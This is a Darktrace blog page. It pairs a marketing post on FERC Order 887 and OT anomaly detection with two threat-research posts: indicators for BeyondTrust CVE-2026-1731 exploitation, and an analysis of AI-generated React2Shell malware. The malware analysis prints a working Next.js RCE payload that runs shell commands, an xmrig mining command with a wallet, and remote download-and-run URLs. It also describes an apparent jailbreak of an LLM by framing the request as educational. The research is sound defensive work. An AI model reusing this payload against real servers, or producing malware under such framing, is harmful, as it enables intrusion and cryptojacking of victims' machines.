Blog
/
Compliance
/
September 11, 2023

Darktrace & FERC Order 887: Enhancing Cybersecurity

Understand Darktrace's role in supporting FERC Order 887 and its efforts to improve cybersecurity measures.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Jeffrey Macre
Principal Industrial Security Solutions Architect
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
11
Sep 2023

At a glance:

  • Darktrace/OT leverages machine learning to provide actionable preventative analytics, relevant real time anomaly based threat detection, and a variety of response capabilities as a full suite protection for OT/ICS operations Purdue levels 5-0.
  • Self-Learning AI detects and responds to cyber threats including malicious or non malicious insiders and supply chain attacks.
  • Darktrace/OT deploys passively within NERC CIP environments providing visibility without the need for any external connectivity or threat intelligence updates.

What is FERC?

The US Federal Energy Regulatory Commission (FERC) is responsible for the regulation of the wholesale electricity and natural gas transmission. FERC sits above the North American Electric Reliability Corporation (NERC) which is responsible for the development and enforcement of reliability standards for the US bulk power system. NERC CIP reliability standards are standards enforced by NERC to ensure the safety and protection of the bulk electric system.

What is FERC order 887?

In review of the CIP requirements, FERC identified a security gap. The gap was that there is no requirement for internal network security monitoring (INSM) within the security perimeters of CIP networked systems. Without this requirement and protections in place, if an attacker was to breach the security perimeter of the CIP networked environment, the victim organization would have no capability of detecting and alerting to what the adversary is doing within the security perimeter.  

FERC Order 887 is a final rule issued intended to direct NERC to develop new or modified reliability standards requiring internal network security monitoring INSM within Critical Infrastructure Protection (CIP) networked environments. A focus is placed on anomaly based detection used within the security perimeter so that threats without known rules and signatures associated, including insider threat and supply chain attacks, can be detected based on anomalous network activity within the CIP networked environment.

FERC order 887 specifically focuses on the need for addressing the INSM gap for BES high impact power generation systems with CIP networked environments with and without external connectivity and medium impact systems with external connectivity.

FERC Order 887 Requirements

1. Any new or modified CIP Reliability Standards should address the need for responsible entities to develop baselines of their network traffic inside their CIP-networked environment for BES Medium impact with external routable network connectivity and high impact with or without external routable network connectivity.

2. Any new or modified CIP Reliability Standards should address the need for responsible entities to monitor for and detect unauthorized activity, connections, devices, and software inside the CIP-networked environment. This should be done so that sophisticated threats including those that may already have persistent access to CIP networked systems, insider threats and supply chain threats can be detected at earlier stages.

3. Any new or modified CIP Reliability Standards should require responsible entities to identify anomalous activity to a high level of confidence by:  (1) logging network traffic (we note that packet capture is one means of accomplishing this goal); (2) maintaining logs and other data collected regarding network traffic.

How does Darktrace support FERC order 887?

For security professionals to satisfy FERC order 887, it is ideal to deploy an INSM that leverages anomaly based detection and is capable of detecting insider threats and supply chain attacks within CIP networked environments in medium and high impact power generation sites. Additionally, the INSM has to be able to function within high impact sites without any external network connectivity.

Darktrace/OT leverages machine learning to provide actionable preventative analytics, relevant real time anomaly based threat detection, and a variety of response capabilities as a full suite protection for OT/ICS operations Purdue levels 5-0, helping security professionals accommodate for FERC order 887 requirements.

Anomaly Based Detection

Darktrace establishes baseline and normal network activity via passive traffic analysis when monitoring the CIP-networked OT system. The baseline or “pattern of life” is then used to detect anomalies within the environment including unauthorized activity, connections, devices, and software inside the CIP-networked environment via anomaly-based detection.  

Darktrace’s AI technology uses unsupervised machine learning to identify anomalous activity to a high statistical level of confidence by logging network traffic via packet capture and maintaining logs and other data collected regarding network traffic inherently within the platform for 1 year.

All log data stored by Darktrace can be exported to other systems so that it can be stored longer than 1 year. If you need to retain logs for more than 1 year, Darktrace can offload the logs to retain indefinitely.

Figure 1: AI Analyst Incident reporting an unusual reprogram command using the MODBUS protocol. The incident includes a plain English summary, relevant technical information, and the investigation process used by the AI.

Self-Learning AI

Darktrace/OT analyzes network traffic passively and learns the normal pattern of life of the these assets and their details (make, model, firmware, protocols, etc.). Darktrace/OT does not need any data or threat feeds from external sources because the AI builds an innate understanding of self without third-party support.

Darktrace is capable of detecting sophisticated novel malware-based attacks as well as supply chain attacks, insider threats, and other attacks where the adversary has established foothold or persistent legitimized access to systems and cannot be detected by rules and signatures-based detection systems.

Darktrace/OT is an intelligent decision-making engine that uses its evolving understanding of your industrial organization to prompt targeted, non-disruptive action to contain emerging attacks, actively responding to security events occurring within the security perimeter autonomously or via human confirmation using TCP/resets or Darktrace can respond at security boundaries via various integrations with network security tools including firewalls and OT zero trust solutions.

Figure 2: The Darktrace Threat Visualizer allows security analysts and OT engineers to visualize and replay incidents in real time.

Deploys in Isolation Without External Connectivity

Darktrace/OT can deploy passively without the need for any external network connectivity into any low, medium, or high impact power generation facilities and maintain 100 percent integrity of the existing segmentation including fully air gapped environments.

Once Darktrace/OT is deployed, Darktrace immediately begins monitoring, learning, and analyzing the raw OT network traffic (east/west and north/south) within the CIP-networked environment creating a live data flow topology and baseline of network connectivity.

Because all data-processing and analytics are performed locally on the Darktrace appliance, there is no requirement for Darktrace to have a connection out to the internet. As a result, Darktrace/OT provides visibility and threat detection to air-gapped or highly segmented networks without jeopardizing their integrity. If a human or machine displays even the most nuanced forms of threatening behavior, the solution can illuminate this in real time.

Attack Case Study: Insider Threat

In the real-world example below, Darktrace/OT detected a subtle deviation from normal behavior when a reprogram command was sent by an engineering workstation to a PLC controlling a pump, an action an insider threat with legitimized access to OT systems would take to alter the physical process without any malware involved. In this instance, AI Analyst, Darktrace’s investigation tool that triages events to reveal the full security incident, detected the event as unusual based on multiple metrics including the source of the command, the destination device, the time of the activity, and the command itself.  

As a result, AI Analyst created a complete security incident, with a natural language summary, the technical details of the activity, and an investigation process explaining how it came to its conclusion. By leveraging Explainable AI, a security team can quickly triage and escalate Darktrace incidents in real time before it becomes disruptive, and even when performed by a trusted insider.

Figure 3: AI Analyst Incident reporting an unusual reprogram command using the MODBUS protocol. The incident includes a plain English summary, relevant technical information, and the investigation process used by the AI.

Credit to Daniel Simonds and Oakley Cox for their contribution to this blog.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Jeffrey Macre
Principal Industrial Security Solutions Architect

More in this series

No items found.

Blog

/

/

February 13, 2026

CVE-2026-1731: How Darktrace Sees the BeyondTrust Exploitation Wave Unfolding

Default blog imageDefault blog image

Note: Darktrace's Threat Research team is publishing now to help defenders. We will update continue updating this blog as our investigations unfold.

Background

On February 6, 2026, the Identity & Access Management solution BeyondTrust announced patches for a vulnerability, CVE-2026-1731, which enables unauthenticated remote code execution using specially crafted requests.  This vulnerability affects BeyondTrust Remote Support (RS) and particular older versions of Privileged Remote Access (PRA) [1].

A Proof of Concept (PoC) exploit for this vulnerability was released publicly on February 10, and open-source intelligence (OSINT) reported exploitation attempts within 24 hours [2].

Previous intrusions against Beyond Trust technology have been cited as being affiliated with nation-state attacks, including a 2024 breach targeting the U.S. Treasury Department. This incident led to subsequent emergency directives from  the Cybersecurity and Infrastructure Security Agency (CISA) and later showed attackers had chained previously unknown vulnerabilities to achieve their goals [3].

Additionally, there appears to be infrastructure overlap with React2Shell mass exploitation previously observed by Darktrace, with command-and-control (C2) domain  avg.domaininfo[.]top seen in potential post-exploitation activity for BeyondTrust, as well as in a React2Shell exploitation case involving possible EtherRAT deployment.

Darktrace Detections

Darktrace’s Threat Research team has identified highly anomalous activity across several customers that may relate to exploitation of BeyondTrust since February 10, 2026. Observed activities include:

-              Outbound connections and DNS requests for endpoints associated with Out-of-Band Application Security Testing; these services are commonly abused by threat actors for exploit validation.  Associated Darktrace models include:

o    Compromise / Possible Tunnelling to Bin Services

-              Suspicious executable file downloads. Associated Darktrace models include:

o    Anomalous File / EXE from Rare External Location

-              Outbound beaconing to rare domains. Associated Darktrace models include:

o   Compromise / Agent Beacon (Medium Period)

o   Compromise / Agent Beacon (Long Period)

o   Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

o   Compromise / Beacon to Young Endpoint

o   Anomalous Server Activity / Rare External from Server

o   Compromise / SSL Beaconing to Rare Destination

-              Unusual cryptocurrency mining activity. Associated Darktrace models include:

o   Compromise / Monero Mining

o   Compromise / High Priority Crypto Currency Mining

And model alerts for:

o    Compromise / Rare Domain Pointing to Internal IP

IT Defenders: As part of best practices, we highly recommend employing an automated containment solution in your environment. For Darktrace customers, please ensure that Autonomous Response is configured correctly. More guidance regarding this activity and suggested actions can be found in the Darktrace Customer Portal.  

Appendices

Potential indicators of post-exploitation behavior:

·      217.76.57[.]78 – IP address - Likely C2 server

·      hXXp://217.76.57[.]78:8009/index.js - URL -  Likely payload

·      b6a15e1f2f3e1f651a5ad4a18ce39d411d385ac7  - SHA1 - Likely payload

·      195.154.119[.]194 – IP address – Likely C2 server

·      hXXp://195.154.119[.]194/index.js - URL – Likely payload

·      avg.domaininfo[.]top – Hostname – Likely C2 server

·      104.234.174[.]5 – IP address - Possible C2 server

·      35da45aeca4701764eb49185b11ef23432f7162a – SHA1 – Possible payload

·      hXXp://134.122.13[.]34:8979/c - URL – Possible payload

·      134.122.13[.]34 – IP address – Possible C2 server

·      28df16894a6732919c650cc5a3de94e434a81d80 - SHA1 - Possible payload

References:

1.        https://nvd.nist.gov/vuln/detail/CVE-2026-1731

2.        https://www.securityweek.com/beyondtrust-vulnerability-targeted-by-hackers-within-24-hours-of-poc-release/

3.        https://www.rapid7.com/blog/post/etr-cve-2026-1731-critical-unauthenticated-remote-code-execution-rce-beyondtrust-remote-support-rs-privileged-remote-access-pra/

Continue reading
About the author
Emma Foulger
Global Threat Research Operations Lead

Blog

/

Network

/

February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

AI/LLM-Generated Malware Used to Exploit React2ShellDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
Your data. Our AI.
Elevate your network security with Darktrace AI